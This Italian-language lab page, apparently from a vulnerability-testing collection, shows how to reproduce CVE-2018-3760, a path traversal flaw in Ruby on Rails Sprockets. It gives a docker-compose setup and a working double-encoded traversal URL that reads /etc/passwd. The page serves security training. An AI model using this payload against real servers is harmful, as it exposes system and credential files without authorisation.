
Laboratorio basato su Docker che dimostra la path traversal CVE-2018-3760 in Ruby on Rails Sprockets, con POC e configurazione dell'ambiente per test di sicurezza e formazione.
Ruby On Rails è un noto framework di sviluppo Web in Ruby, che utilizza Sprockets come server di file statici in ambiente di sviluppo. Sprockets è una libreria Ruby che compila e distribuisce file di risorse statiche.
Nelle versioni di Sprockets 3.7.1 e precedenti è presente una vulnerabilità di path traversal causata da una doppia decodifica. Un attaccante può utilizzare %252e%252e/ per accedere alla directory root e leggere o eseguire qualsiasi file sul server di destinazione.
Link di riferimento:
Esegui il seguente comando:
docker-compose up -d
Visita http://your-ip:3000 e vedrai la pagina di benvenuto.
Visitando direttamente http://your-ip:3000/assets/file:%2f%2f/etc/passwd verrà restituito un errore, poiché il file /etc/passwd non si trova nella directory consentita.

Dalla pagina di errore possiamo ottenere un elenco delle directory consentite. Basta selezionarne una, ad esempio /usr/src/blog/app/assets/images, quindi usare %252e%252e/ per saltare alla directory padre e infine leggere il file /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
